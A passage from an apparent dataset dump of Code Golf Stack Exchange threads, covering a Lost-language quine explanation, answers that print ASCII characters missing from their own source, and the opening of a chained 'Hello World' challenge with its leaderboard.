\"\n\\#<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\\\n```\n[Try it online!](https://tio.run/##y8kvLvn/387KSNvUSMvKTMtKw8JES9vcVEvTys4KBKIhwCpaA6hA0w4hZBUNUulgp2qvaKOBANEoQEGJK0bZhlaAi0L9MVz////XdQQA \"Lost – Try It Online\")\n## Explanation\nThis entire project has been an up and down. I kept thinking it was impossible and then coming up with a crazy idea that just might work.\nWhy is a Lost Quine so hard?\nAs you may know Lost is a 2D programming language where the start location and direction are entirely random. This makes writing any lost program about as difficult as writing radiation hardened code. You have to consider every possible location and direction.\nThat being said there are some standard ways to do things. For example here is the standard way of printing a string.\n```\n>%?\"Stringv\"(@\n^<<<<<<<<<<<<<\n```\nThis has a collection stream at the bottom that grabs the most of the ips and pulls them to the start location. Once they reach are start location (upper left) we sanitize them with a loop getting rid of all the values on the stack then turn the safety of push the string and exit. (safety is a concept unique to Lost every program must hit a `%` before exiting, this prevents the possibility of the program terminating upon start). Now my idea would be to extend this form into a full fledged quine.\nThe first thing that had to be done was to rework the loop a bit, the existing loop was specific to the String format.\n```\n>%?!<\"Stringv\"(@\n^<<<<<<<<<<<<<<<\n^<<<<<<<<<<<<<<<\n```\nWe need to add a second stream to avoid the possibility of the `!` jumping over the stream and creating a loop.\nNow we want to mix this with the standard Quine format. Since Lost is based very much on Klein I've ~~basically stolen~~ borrowed the Klien Quine for [Martin Ender](https://codegolf.stackexchange.com/users/8478/martin-ender).\n```\n:2+@>%?!< \"\n<<<<^<<<<<<\n<<<<^<<<<<<\n```\nThis quite conveniently prints the first line of the quine. Now all we need to do is hard-code the streams. Well this is easier said than done. I tried approximately four different methods of doing this. I'll just describe the one that worked.\nThe idea here is to use doors to get the desired number of arrows. A Door is a special type of mirror that changes every time it is hit. `[` reflects ips coming from the left and `]` from the right. When they are hit by an ip from either of these sides the switch orientation. We can make a line of these doors and a static reflector to repeatedly perform an operation.\n```\n>:[[[\n```\nWill perform `:` three times. This way if we push a `<` to the stack before hand we can make a lot of them with less bytes. We make 2 of these, one for each line, and in between them we lay down a newline, however the second one needs only go until it covers the `!` we added it for, anything else can be left empty saving us a few bytes. Ok now we need to add the vertical arrows to our streams. This is where the key optimization comes in. Instead of redirecting all the ips to the \"start\" of the program directly we will instead redirect them to the far left, because we already know that the ips starting in far left *must* work (or at least will work in the final version) we can also just redirect the other ips. This not only makes it cheaper in bytes, I think this optimization is what makes the quine possible.\nHowever there are still some problems, the most important one being ips starting after the `>` has been pushed but before we start making copies of it. Such ips will enter the copier and make a bunch of copies of 0. This is bad because our stack clearing mechanism uses zeros to determine the bottom of the stack, leaving a whole bunch of zeros at the bottom. We need to add a stronger stack sanitation method. Since there is no real way of telling if the stack is empty, we will simply have to attempt to destroy as many items on the stack as possible. Here we will once again use the door method described earlier. We will add `((((((((((([[[[[[[[[[[[[[` to the end of the first line right after the sanitizor to get rid of the zeros.\nNow there is one more problem, since we redirected our streams to the upper left ips starting at the `%` and moving down will already have turned the safety off and will exit prematurely. So we need to turn the safety off. We do this by adding a `#` to the stream, that way ips flowing through the stream will be turned off but ips that have already been sanitized will not. The `#` must also be hard coded into the first line as well.\nThat's it, hopefully you understand how this works now.\n]"}}},{"rowIdx":27,"cells":{"text":{"kind":"string","value":"[Question]\n [\nYour task is to build a program (using only printable ASCII characters and/or tabs and newlines) that prints out exactly the characters in the printable ASCII space (`0x20` to `0x7e`) that *don't* appear in your program's source code (in any order, however many times you want).\nThe shortest code to do this in any language wins.\n \n[Answer]\n# Polyglot, 95\n```\n#undef X;A!\"$%&'()*+-[,.]/0123456789:<=>?@BCDEFGHIJKLMNOPQRSTUVWYZ\\^_`abcghijklmopqrstvwxyz{|}~\n```\n* [Perl](https://www.perl.org/)\n* [Perl 6](https://perl6.org/)\n* Any \\*nx-like shell (`tclsh`, `bash`, `sh`, `ksh`, etc)\n* [Awk (GNU / POSIX)](https://www.gnu.org/software/gawk/manual/gawk.html)\n* [Brainfuck](http://esolangs.org/wiki/brainfuck), [Brian & Chuck](https://github.com/m-ender/brian-chuck), other [derivatives](http://esolangs.org/wiki/Brainfuck_Derivatives)\n* [Ruby](https://www.ruby-lang.org/en/)\n* [Coffescript](http://coffeescript.org/)\n* [Golfscript](http://www.golfscript.com/golfscript/)\n* [Python](https://www.python.org/)\n* [R](https://www.r-project.org/)\n* [Julia](https://julialang.org/)\n* [Whitespace](https://en.wikipedia.org/wiki/Whitespace_(programming_language))\n* [rk](//github.com/aaronryank/rk-lang)\n* [Gaot++](https://github.com/tuxcrafting/gaot-plus-plus)\n* [bc](https://www.gnu.org/software/bc/manual/html_mono/bc.html)\n* [jq](https://stedolan.github.io/jq/)\n* [Joy](http://www.latrobe.edu.au/humanities/research/research-projects/past-projects/joy-programming-language)\n* [Tcl](http://tcl.tk/)\n* [99](https://esolangs.org/wiki/99)\n* [V (FMota)](https://esolangs.org/wiki/V_(FMota))\n* [Acc!!](https://github.com/dloscutoff/Esolangs/tree/master/Acc!!)\n* C - if no `main()` is needed. Thanks to [urogen](https://codegolf.stackexchange.com/users/3544/ugoren)\n* [Duocentehexaquinquagesimal](https://esolangs.org/wiki/Duocentehexaquinquagesimal)\n* [Vyxal `O`](https://github.com/lyxal/vyxal)\n* [Thunno `d`](https://github.com/Thunno/Thunno)\n* Probably more.\nDoes nothing.\n[Answer]\n## PHP 5.2, 4 + 69\n```\n@ABCDEFGIJKMNOQRUVWXYZ[\\]^`bfghjkmqvwz{|}~`. `short_open_tag` needs to be `On` in your `php.ini`.\nThe output is:\n```\nPHP Parse error: syntax error, unexpected T_SL in /wherever/!\"#$%&\\'()*+-.023456789;=>@ABCDEFGIJKMNOQRUVWXYZ[\\\\]^`bfghjkmqvwz{|}~ on line 1\n```\n[Answer]\n### GolfScript, 15 12 characters\n```\n{`),32>^.}.~\n```\nBased on [Jan Dvorak's answer](https://codegolf.stackexchange.com/a/12373/1490) with a few twists and also in the style of [Peter Taylor's one](https://codegolf.stackexchange.com/a/12374/1490).\n[Answer]\n## JavaScript - 88\n```\nalert(\"BCDFGHIJKMNPQUVXYZ\".toLowerCase())// !#$%&'*+,-0123456789:;<=>?@[\\]^_`{|}~AERTOWS\n```\nprints \"bcdfghijkmnpquvxyz\"\n[Answer]\n### Whitespace, 61 57 characters\nIt's not the shortest but it probably has the simplest logic (it's just a loop really).\nHere it is completely commented, where S is space, T is tab, L is line feed:\n```\nSSSTSSSSSL # push 0x20\nLSSSL # label S\nSSSTL # push 1\nTSSS # add\nSLS # duplicate top of stack\nSLS # duplicate again\nTLSS # output ASCII character\nSSSTTTTTTSL # push 0x7E\nTSST # subtract (result - 0x7E)\nLTTSL # branch to label S if top of stack is negative\nLLL # end\n```\nThanks to @r.e.s. for correction to the above (required extra duplicate for the branch instruction) and for smaller numbers to push on the stack.\n[Answer]\n## C, ~~83~~ ~~74~~ 69 characters\n```\nmain(z) {for(;++z<96;\"\\33iE!vk?}GkRP8z\"[z/7]&1<<> - 80\n```\nzbcdjkpqruvwxaABCDEFGHIJKLMNOPQRSTUVWXYZ#!\"'$%^&*()@!+-[]{},;:/\\<>=?|~0123456789\n```\nWhen fish errors it prints out \"something smells fishy...\". Since z is a bad instruction it errors right away\n[Answer]\n### Golfscript, ~~26~~ 24 characters\n```\n\"126,32>''+\".~\\-'.~\\-\"'-\n```\nTakes a range generation script, duplicates it, executes it, substracts it from its result, then substracts the result subtraction code and the other quote character.\n[Answer]\nI know it's not winning any contests. I just wanted to try it in a language not normally used, just for kicks.\n# **Java - ~~209~~ ~~195~~ ~~152~~ 140 characters**\n```\nclass a{public static void main(String[]a){for(char c=0;;c++)System.out.print(\"publicas{tvodmn(Srg[])h=0;w+ye.\\\"\\\\xO<
<]/!~a}\n```\nSimply checks itself. Duplicate characters manually removed.\nThanks to Josh for saving 4 characters, and minitech for saving 5 characters!\n[Answer]\n## Befunge (48)\n```\n<|::-1,+*88:<+3*87\n6<@.**85\n9>\"()~&\"/%$ |!#';=?}\n```\nOutputs: {zyxwvutsrqponmlkjihgfedcba`\\_^][ZYXWVUTSRQPONMLKJIHGFEDCBA240\n[Answer]\nNot very serious, but I had to give it a go:\n## JSFuck (138152)\n[(compiled source here)](http://wmmusic.nl/codexamples/printsitselfjsfuck.js)\nOriginal source:\n```\nfor(x=0x7e;x>0x19;x--){\n console.log(String.fromCharCode(x).replace(/[\\[\\]!\\+\\(\\)]/ig, ''))\n}\n```\nPrints all characters except ***()+[]!***\n[Answer]\n## GolfScript (18 16 chars)\n```\n\"),@`^^32>#.~\".~\n```\n[Online demo](http://golfscript.apphb.com/?c=IiksQGBeXjMyPiMufiIufgoKLnB1dHMgMTI3LDMyPl4nIiksQGBeXjMyPiMufiIufideLA%3D%3D) with an extra line which does a correctness check and outputs the number of characters in error.\n(I have various equivalent alternatives. `@`^` can be replaced with `\\\\``; `#` can be replaced with ``` or `]`. The right combination can be used with Howard's trick to equal his score of 15 because backslashes don't need escaping in blocks the way they do in string literals: `{),\\`^32>].~}.~`. But Howard deserves the credit for that trick).\n[Answer]\n# Brainfuck, 173\n```\n+++++[->++++++<]>>>++[------<+>]<++++>>----[----<+>]>-[-------<+>]>-[---<+>]<------->>-[---<+>]<+++++++++>>--[-----<+>]<+++++>>+[---------<++>]+++++++++++++[<[.+<]>[>]<-]\\=,\n```\nPretty long, I might try again later. \n[Answer]\n## J (~~52~~ 40)\nEdit: Duh, forgot about `e.`\n```\n'''([[email protected]](/cdn-cgi/l/email-protection)#[)~95{32}a'(-.@e.#[)~95{.32}.a.\n```\nOld version:\n```\n(>@(*/@('(>@*/''&~:).#]32{95}a'&~:)&.>)#])95{.32}.a.\n```\nOther variant (same length but less output):\n```\n([#~*/\"1@('([#~*/\"1@''&:0)95{.32}a'&~:\"0))95{.32}.a.\n```\n[Answer]\n# Python 3 - ~~68~~ 61\n```\nx=r\"print(*set(map(chr,range(32,127)))-set(x+'=\\\"'))\"\nexec(x)\n```\n... thanks to @WolframH for the improvements.\n[Answer]\n## PowerShell: 96\nMust be saved and run as a script.\n```\ndiff([char[]](gc $MyInvocation.InvocationName))([char[]](32..126))-Pa|?{$_.SideIndicator-eq'=>'}\n```\n`diff` is a built-in alias for `Compare-Object`.\n`gc` is a built-in alias for `Get-Content`.\n`$MyInvocation.InvocationName` gets the full path to the script being executed.\n`32..126` is the decimal equivalent for `0x20..0x7e`, and so creates an array of the decimal ASCII codes we're looking for.\n`[char[]]` takes the contents of the next object and puts them into an array, breaking them up and converting them into ASCII characters. So, we now have two arrays of ASCII characters - one pulled from this script, the other defined by the challenge criteria.\n`-Pa` sets `Compare-Object` to \"Passthru\" format, so only the items which are found different between the inputs are output at the console - indicators of which items were in which input are still stored in the object's data, but are not displayed.\n`|?{$_.SideIndicator-eq'=>'}` pipes `Compare-Object`'s output to `Where-Object`, which filters it down to only the items which are exclusive to the second input.\n[Answer]\n# **Java - 126 characters**\nminimized:\n```\nclass hjq{public static void main(String...w){for(char z='\"'|0;++z!='a';)if(\"'()+.0;=OS\".indexOf(z)==~0)System.out.print(z);}}\n```\nunminimized:\n```\nclass hjq {\n public static void main(String... w) { \n for (char z = '\"'|0; ++z != 'a';) {\n if (\"'()+.0;=OS\".indexOf(z) == ~0) {\n System.out.print(z);\n }\n }\n }\n}\n```\nThis is an interesting problem, because individual tokens might benefit from their longer form because it re-uses characters. For example, normally `String[]` would be shorter, but `String...` removes the need for the square brackets in the conditional string.\nI found the trick was to try and use characters at the beginning and end of the range so you can exclude them from the output simply by altering your loop start and end.\nFor Java, a key character to exclude is `\"`, because having that in the string requires escaping it, which adds `\\` to your program, which needs to go in the string, which adds `\\\\`. By removing `\"` from your conditional string you remove 4 characters. This can be achieved by making sure you use and `!` and starting your loop from `#`.\nAll the lowercase letters appear near the end of the range, with only `{`, `|`, `}` and `~` coming after them. Because of Java's verbosity, most of the lowercase letters are used just for the boilerplate. Likewise, `{` and `}` are trivial for a Java program, because the boilerplate requires them.\n`|` can be used if you have an or condition, but I couldn't find a way to take advantage of one that leads to a shorter program than just using `|` as a bitwise operator. The `|0` makes me feel a little dirty, because it's the only part that's a nop just to get the character in there.\n`~0` yields `-1`, which is handy because that's what we need to check for with `indexOf`. Combining this with using `!=` for the loop conditional eliminates the `<` character altogether, which means it doesn't need to go inside the conditional string.\n[Answer]\n**Javascript, 92**\n```\n(function f(){for(i=32;126>i++;)!~(\"\"+f).indexOf(c=String.fromCharCode(i))&&console.log(c)})()\n```\n[Answer]\n# [BitShift](http://esolangs.org/wiki/BitShift), 1038 bytes\nBitShift is a language which only supports `0` and `1` as syntax. I figured it would be easy to print all other characters, but since it doesn't really support looping it still ended up a massive 1038 bytes. \nHowever, I believe it's not really possible to go any smaller than this..\n```\n101001100101011011010100110111010100100101011001101111010100100101011001000101011011010100101100110110101001001010110010001010110110101000001101010010010101100100010101101101010000010000011001010110110101000010000101011011010100110111010100100101011111100101011011010100110111010100100101011001101111010100100101011001000101011011010100000000011010100100101011001000101011011010100110010000101011011010100110111010100100101011001101001101010010010101100100010101101101010011001000010101101101010011011101010010010101111011111110010101101101010011011101010010010101100101100101011011010100010001010110110101001000010101101101010011011101010010010101110111110010101101101010011011101010010010101111111100101011011010100110111010100100101011111011110101001001010110010001010110110101001000100000101011011010100110111010100100101011111010011010100100101011001000101011011010100100000101011011010100110111010100100101011001101111010100100101011001000101011011010100010000010101101101010011011101010010010101101001101101010010010101101001101010\n```\nPrints\n```\n !\"#$%&'()*+,-./23456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\n```\nTry it [here](https://dl.dropboxusercontent.com/u/10914578/Bitshift.html)\n[Answer]\n# Brainfuck, ~~133~~ ~~123~~ ~~114~~ 110 bytes\n```\n++++++++++++++++[->++++++>++>+++>++++>++<<<<<]>-->>->->+[---<.+.+<.+<.+<.+.+.+>>>>]++[-<.+.+.+<.+>>]<+.<+.<++.\n```\nA bit of more tinkering with a former solution (before I realized the below was smaller - allthough this was before I did some heavy optimization). This works by storing 4 sets of ascii numbers and print them with some tricky looping, and then give the missing characters afterwards (i.e. ones that are between invalid ascii numbers).\nOriginal submission\n```\n>>+++++++++++[<+<+>>->++>+++<<]<++>>++++++>>+++++[-<<<++++++>>>]<<<+<<[->>+.<<]>>++.++<[->+.<]>++.+>[-<+.>]<++.+>>[-<<+.>>]\n```\nIt does the following:\n* Create 4 registers containing 11. 13, 28, 33\n* Create a 5th with the value 31 to start the printing\n* Print ascii 32-42 (11)\n* Print ascii 44\n* Print ascii 47-59 (13)\n* Print ascii 61\n* Print ascii 63-90 (28)\n* Print ascii 92\n* Print ascii 94-126 (33)\n[Answer]\n## sh (47)\n```\ntrf;\"w\"d=[a];+a;?d=0>y;?d<32>w;?d>7eh>w;e=b;e+d;[e]=33;^w;\"y\"b+32;\"v\"conout.say:b;bye;\n```\nNo comments, just reads the source compiled into binary. Save as `a.txt` or it won't compile!\n[Answer]\n## Haskell (70)\n```\nimport Data.List\nmain=putStrLn$[' '..'~']\\\\\" \\\\\\\"$'.=DLS[]aimnoprstu~\"\n```\nThe boring duplicate-characters-in-program-in-a-string, subtract-from-universal-set solution. Far from a codegolf winner, though it's surprisingly legible for its length.\n(Now with list subtraction instead of `filter`/`notWith`.)\n[Answer]\n# Java - 111 Bytes\nI know I'm 4 years too late, but I just found this question.\n```\nvoid SPARE_VOMIT(){System.out.print(0!=('^'>>8|3&6%2<<~7*4)?\"$#/^@\\bc[]\":'`'-5+\"lnbfghjkqwxyz\".toUpperCase());}\n```\nI tried to put as few characters in the ignored String as possible.\nUngolfed:\n```\nvoid SPARE_VOMIT(){ // vomit out all the spare characters\n System.out.print(0 != ('^'>>8|3&6%2<<~7*4) ? // Both sides here = 0\n \"$#/^@\\bc[]\" : // The shame string...\n '`'-5 + \"lnbfghjkqwxyz\".toUpperCase()); // Print 91 and caps.\n}\n```\n[Answer]\n# [><>](https://esolangs.org/wiki/Fish), ~~44~~ ~~43~~ ~~37~~ 35 bytes\n[crossed out 44 is still regular 44 ;(](https://codegolf.stackexchange.com/a/135601/76162)\n```\n\" 'r:{-}30{l4-*?.~~:9e*=?;:l2=?o1+}\n```\n[Try it online!](https://tio.run/##S8sszvj/X0lBvciqWrfW2KA6x0RXy16vrs7KMlXL1t7aKsfI1j7fULv2/38A \"><> – Try It Online\")\nOutputs `!#$%&(),/5678<>@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdfghijkmnpqstuvwxyz|`\n### How It Works:\n```\n\" Wrapping string literal, adding the source code to the stack.\n This adds a space at the start to initialise the counter\n ' Runs another string literal over the whole code\n This means both \" and ' are added to the stack\n r: Get the counter from the bottom of the stack and duplicate it\n {-} Get the bottom of the stack and check if it is equal to the counter. Push the check to the bottom of the stack\n 30 Add 3, 0 to the stack for later\n {l4-* Get the equality check from the bottom of the stack and OR it with whether the stack is empty of values to check against\n ?. If the character is equal or the stack is empty, continue. \n Else set the instruction pointer to 3,0 to check against the next character\n ~~ Pop the excess 3,0\n :9e*=?; Check if the counter is equal to the 126, the last character, and end if so.\n :l2=?o If the stack is empty of values to check (ie the character is not in the code), print it.\n 1+} Add one to the counter and, because ><> is toroidal, loop back to the beginning\n```\n[Answer]\n# [brainfuck](https://github.com/TryItOnline/brainfuck), 90 bytes\n```\n++++[->+++>++++++++<<]>-[->.>+<+<]>+.+++>++[-<.<++>+>]<+.++<++[->.>+<+<]>+.++>+++++[-<.+>]\n```\n[Try it online!](https://tio.run/##SypKzMxLK03O/v9fGwiide2AJAiDgY1NrJ0uUEzPTttGG8jW1oPIRuva6NmAWHaxNiAxG7BOZFUQI0DqgGr@/wcA \"brainfuck – Try It Online\")\n**Tape Layout:**\n*`[Initial Count Cell] , [Counter Cell One] , [Ascii Cell] , [Counter Cell Two]`*\n**Explanation:**\n```\n++++[->+++>++++++++<<]>- # sets counter cell one to 11 and ascii cell to 32\n[->.>+<+<] # prints ascii 32-42 and creates counter cell two\n>+.+++>++ # prints ascii 44 and sets counter cell two to 13\n[-<.<++>+>] # prints ascii 47-59 and resets counter cell one\n<+.++<++ # prints ascii 61 and sets counter cell one to 28\n[->.>+<+<] # prints ascii 63-90 and resets counter cell two\n>+.++>+++++ # prints ascii 92 and sets counter cell two to 33\n[-<.+>] # prints remaining ascii characters\n```\n**Output:**\n```\n !\"#$%&'()*,/0123456789:;=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\^_`abcdefghijklmnopqrstuvwxyz{|}~\n```\n]"}}},{"rowIdx":28,"cells":{"text":{"kind":"string","value":"[Question]\n [\n***This contest is officially over, the winner is [jimmy23013](https://codegolf.stackexchange.com/users/25180/user23013). Congratulations!***\nThe challenge is to make a program that prints `Hello World!` to stdout. The catch is that your program must have a [Levenshtein distance](http://en.wikipedia.org/wiki/Levenshtein_distance) of 7 or less from the program in the answer submitted before yours.\n# How This Will Work\nBelow I have already submitted the first answer using Python: `print(\"Hello World!\")`.\nThe next person to answer must modify the string `print(\"Hello World!\")` with up to 7 single character insertions, deletions, or substitutions so that when it is run in any language that hasn't been used so far (only Python in this case) the output is still `Hello World!`.\nFor example the second answerer might use 1 substitution (`r -> u`), 2 deletions (`in`), and 1 insertion (`s`) to make the string `puts(\"Hello World!\")` which prints `Hello World!` when run in Ruby.\nThe third person to answer must do the same thing in a new language, but using the program of the second person's answer (e.g. `puts(\"Hello World!\")`) as their starting point. The fourth answer will be in relation to the third answer and so on.\nThis will continue on until everyone get stuck because there is no new language the last answer's program can be made to run in by only changing 7 characters. The communal goal is to see how long we can keep this up, so try not to make any obscure or unwarranted character edits (this is not a requirement however).\n# Formatting\nPlease format your post like this:\n```\n# Answer N - [language]\n [code]\n[notes, explanation, observations, whatever]\n```\nWhere N is the answer number (increases incrementally, N = 1, 2, 3,...).\nYou do not have to tell which exact characters were changed. [Just make sure the Levenshtein distance is from 0 to 7.](http://planetcalc.com/1721/)\n# Rules\nThe key thing to understand about this challenge is that **only one person can answer at a time and each answer depends on the one before it**.\nThere should never be two answers with the same N. If two people happen to simultaneously answer for some N, the one who answered later (even if it's a few seconds difference) should graciously delete their answer.\nFurthermore...\n* **A user may only submit one answer per 8 hour period.** i.e. Each of your answers must be at least 8 hours apart. (This is to prevent users from constantly watching the question and answering as much as possible.)\n* A user may not submit two answers in a row. (e.g. since I submitted answer 1 I can't do answer 2, but I could do 3.)\n* Each answer must be in a different programming language.\n\t+ Different versions of the same language count as the same language.\n\t+ Languages count as distinct if they are traditionally called by two different names. (There may be some ambiguities here but don't let that ruin the contest.)\n* You may only use tabs, newlines, and [printable ASCII](http://en.wikipedia.org/wiki/ASCII#ASCII_printable_characters). (Newlines count as one character.)\n* The output should only be `Hello World!` and no other characters (a leading/trailing newline is not an issue).\n* If your language doesn't has stdout use whatever is commonly used for quickly outputting text (e.g. `console.log` or `alert` in JavaScript).\n**Please make sure your answer is valid.** We don't want to realize there's a break in the chain five answers up. Invalid answers should be fixed quickly or deleted before there are additional answers.\n**Don't edit answers unless absolutely necessary.**\n# Scoring\nOnce things settle down, the user who submits the most (valid) answers wins. Ties go to the user with the most cumulative up-votes.\n### Leaderboard: (out of date)\n(user must have at least 2 valid answers)\n> \n> **11 Answers**\n> \n> \n> * Optimizer - [CJam](https://codegolf.stackexchange.com/a/40378/26997), [Groovy](https://codegolf.stackexchange.com/a/40437/30525), [HTML](https://codegolf.stackexchange.com/a/40477/31414), [Forth](https://codegolf.stackexchange.com/a/40494/25180), [Rebol](https://codegolf.stackexchange.com/a/40539/31414), [Markdown](https://codegolf.stackexchange.com/a/40588/31414), [CASIO BASIC](https://codegolf.stackexchange.com/a/40641/31414), [SpeakEasy](https://codegolf.stackexchange.com/a/40684/31414), [REXX](https://codegolf.stackexchange.com/a/40708/31414), [RegXy](https://codegolf.stackexchange.com/a/40737/31414), [Pawn](https://codegolf.stackexchange.com/a/40752/31414)\n> * jimmy23013 - [GNU dc](https://codegolf.stackexchange.com/a/40386/26997), [Zsh](https://codegolf.stackexchange.com/a/40424/32377), [Burlesque](https://codegolf.stackexchange.com/a/40474/25180), [bc](https://codegolf.stackexchange.com/a/40499/25180), [Hack](https://codegolf.stackexchange.com/a/40553/25180), [GDB](https://codegolf.stackexchange.com/a/40600/25180), [QBasic](https://codegolf.stackexchange.com/a/40645/25180), [MediaWiki Markup](https://codegolf.stackexchange.com/a/40685/31414), [itflabtijtslwi](https://codegolf.stackexchange.com/a/40732/31414), [Squirrel](https://codegolf.stackexchange.com/a/40751/31414), [AGOL 68](/a/41553/13486)\n> \n> \n> \n> \n> **7 Answers**\n> \n> \n> * Nit - [APL](https://codegolf.stackexchange.com/a/40404/26997), [Clipper](https://codegolf.stackexchange.com/a/40440/5372), [Falcon](https://codegolf.stackexchange.com/a/40472/25180), [MUMPS](https://codegolf.stackexchange.com/a/40487/25180), [FreeBASIC](https://codegolf.stackexchange.com/a/40544/16484), [csh](https://codegolf.stackexchange.com/a/40601/16484), [Dart](https://codegolf.stackexchange.com/a/40651/16484)\n> * Timmy - [Lua](https://codegolf.stackexchange.com/a/40393/26997), [Lisp](https://codegolf.stackexchange.com/a/40459/25180), [Oz](https://codegolf.stackexchange.com/a/40621/25180), [Algoid](https://codegolf.stackexchange.com/a/40657/21682), [KTurtle](/a/41552/13486), [Alice](https://codegolf.stackexchange.com/a/41631/21682), [OCaml](https://codegolf.stackexchange.com/a/41709/6741)\n> \n> \n> **6 Answers**\n> \n> \n> * Stacey - [VHDL](https://codegolf.stackexchange.com/a/40400/26997), [GNU Octave](https://codegolf.stackexchange.com/a/40449/26997), [M4](https://codegolf.stackexchange.com/a/40480/30525), [Logo](https://codegolf.stackexchange.com/a/40514/4768), [Microsoft Batch](https://codegolf.stackexchange.com/a/40557/25180), [Matlab](https://codegolf.stackexchange.com/a/40620/25180)\n> * Dennis - [Dash](https://codegolf.stackexchange.com/a/40426/32377), [tcsh](https://codegolf.stackexchange.com/a/40463/26997), [TeX](https://codegolf.stackexchange.com/a/40488/25180), [///](https://codegolf.stackexchange.com/a/40536/21682), [HQ9+-](https://codegolf.stackexchange.com/a/40615/25180), [Alore](https://codegolf.stackexchange.com/a/40661/21682)\n> \n> \n> **5 Answers**\n> \n> \n> * plannapus - [Stata](https://codegolf.stackexchange.com/a/40406/25180), [Scheme](https://codegolf.stackexchange.com/a/40505/25180), [SQLite](https://codegolf.stackexchange.com/a/40711/26997), [Scala](https://codegolf.stackexchange.com/a/40754/6741), [Suneido](https://codegolf.stackexchange.com/a/40804/6741)\n> * Pietu1998 - [PHP](https://codegolf.stackexchange.com/a/40379/25180), [sh](https://codegolf.stackexchange.com/a/40591/25180), [ALAGUF](https://codegolf.stackexchange.com/a/40846/21682), [Cardinal](https://codegolf.stackexchange.com/a/40863/21682), [Grin](https://codegolf.stackexchange.com/a/40870/21682)\n> \n> \n> **4 Answers**\n> \n> \n> * ypnypn - [NetLogo](https://codegolf.stackexchange.com/a/40436/16294), [Mouse](https://codegolf.stackexchange.com/a/40469/16294), [Salmon](https://codegolf.stackexchange.com/a/40497/25180), [Maple](https://codegolf.stackexchange.com/a/40541/25180)\n> * resueman - [Clojure](https://codegolf.stackexchange.com/a/40435/30525), [Emacs Lisp](https://codegolf.stackexchange.com/a/40512/4768), [Vimscript](https://codegolf.stackexchange.com/a/40547/21682), [VBScript](https://codegolf.stackexchange.com/a/40643/25180)\n> * Timtech - [AutoLisp](https://codegolf.stackexchange.com/a/40521/10740), [Geom++](https://codegolf.stackexchange.com/a/40717/10740), [BogusForth](https://codegolf.stackexchange.com/a/40848/10740), [owl](https://codegolf.stackexchange.com/a/40858/10740)\n> \n> \n> **3 Answers**\n> \n> \n> * BrunoJ - [CoffeeScript](https://codegolf.stackexchange.com/a/40439/25180), [F#](https://codegolf.stackexchange.com/a/40471/25180), [Betterave](https://codegolf.stackexchange.com/a/40503/25180)\n> \n> \n> **2 Answers**\n> \n> \n> * Mig - [Extended BF Type III](https://codegolf.stackexchange.com/a/40418/25180), [TCL](https://codegolf.stackexchange.com/a/40451/25180)\n> * Calvin's Hobbies - [Python](https://codegolf.stackexchange.com/a/40377/26997), [E](https://codegolf.stackexchange.com/a/40452/26997)\n> * Sp3000 - [Racket](https://codegolf.stackexchange.com/a/40461/25180), [Pyth](https://codegolf.stackexchange.com/a/40380/26997)\n> * grc - [Haskell](https://codegolf.stackexchange.com/a/40402/26997), [Turing](https://codegolf.stackexchange.com/a/40498/25180)\n> * es1024 - [Nimrod](https://codegolf.stackexchange.com/a/40384/29611), [ksh](https://codegolf.stackexchange.com/a/40549/29611)\n> * FireFly - [FALSE](https://codegolf.stackexchange.com/a/40443/25180), [mIRC script](https://codegolf.stackexchange.com/a/40554/25180)\n> * g-rocket - [AppleScript](https://codegolf.stackexchange.com/a/40468/10894), [LiveCode](https://codegolf.stackexchange.com/a/40681/10894)\n> * Oriol - [AMPL](https://codegolf.stackexchange.com/a/40659/12784), [PARI/GP](https://codegolf.stackexchange.com/a/40773/12784)\n> * nneonneo - [Boo](https://codegolf.stackexchange.com/a/40768/6699), [Caché ObjectScript](https://codegolf.stackexchange.com/a/40853/6699)\n> \n> \n> \n### Languages used so far:\n> \n> 1. [Python](https://codegolf.stackexchange.com/a/40377/26997)\n> 2. [CJam](https://codegolf.stackexchange.com/a/40378/26997)\n> 3. [PHP](https://codegolf.stackexchange.com/a/40379/26997)\n> 4. [Pyth](https://codegolf.stackexchange.com/a/40380/26997)\n> 5. [Perl](https://codegolf.stackexchange.com/a/40381/26997)\n> 6. [Befunge 98](https://codegolf.stackexchange.com/a/40382/26997)\n> 7. [Bash](https://codegolf.stackexchange.com/a/40383/26997)\n> 8. [Nimrod](https://codegolf.stackexchange.com/a/40384/26997)\n> 9. [Ruby](https://codegolf.stackexchange.com/a/40385/26997)\n> 10. [GNU dc](https://codegolf.stackexchange.com/a/40386/26997)\n> 11. [Golfscript](https://codegolf.stackexchange.com/a/40389/26997)\n> 12. [Mathematica](https://codegolf.stackexchange.com/a/40390/26997)\n> 13. [R](https://codegolf.stackexchange.com/a/40391/26997)\n> 14. [Lua](https://codegolf.stackexchange.com/a/40393/26997)\n> 15. [Sage](https://codegolf.stackexchange.com/a/40395/26997)\n> 16. [Julia](https://codegolf.stackexchange.com/a/40396/26997)\n> 17. [Scilab](https://codegolf.stackexchange.com/a/40397/26997)\n> 18. [JavaScript](https://codegolf.stackexchange.com/a/40398/26997)\n> 19. [VHDL](https://codegolf.stackexchange.com/a/40400/26997)\n> 20. [HyperTalk](https://codegolf.stackexchange.com/a/40401/26997)\n> 21. [Haskell](https://codegolf.stackexchange.com/a/40402/26997)\n> 22. [LOLCODE](https://codegolf.stackexchange.com/a/40403/26997)\n> 23. [APL](https://codegolf.stackexchange.com/a/40404/26997)\n> 24. [M30W](https://codegolf.stackexchange.com/a/40405/21682)\n> 25. [Stata](https://codegolf.stackexchange.com/a/40406/21682)\n> 26. [TI-BASIC (NSpire)](https://codegolf.stackexchange.com/a/40408/21682)\n> 27. [ActionScript 2](https://codegolf.stackexchange.com/a/40409/21682)\n> 28. [J](https://codegolf.stackexchange.com/a/40410/21682)\n> 29. [PowerShell](https://codegolf.stackexchange.com/a/40411/21682)\n> 30. [K](https://codegolf.stackexchange.com/a/40413/21682)\n> 31. [Visual FoxPro](https://codegolf.stackexchange.com/a/40414/21682)\n> 32. [VBA](https://codegolf.stackexchange.com/a/40415/20807)\n> 33. [Extended BF Type 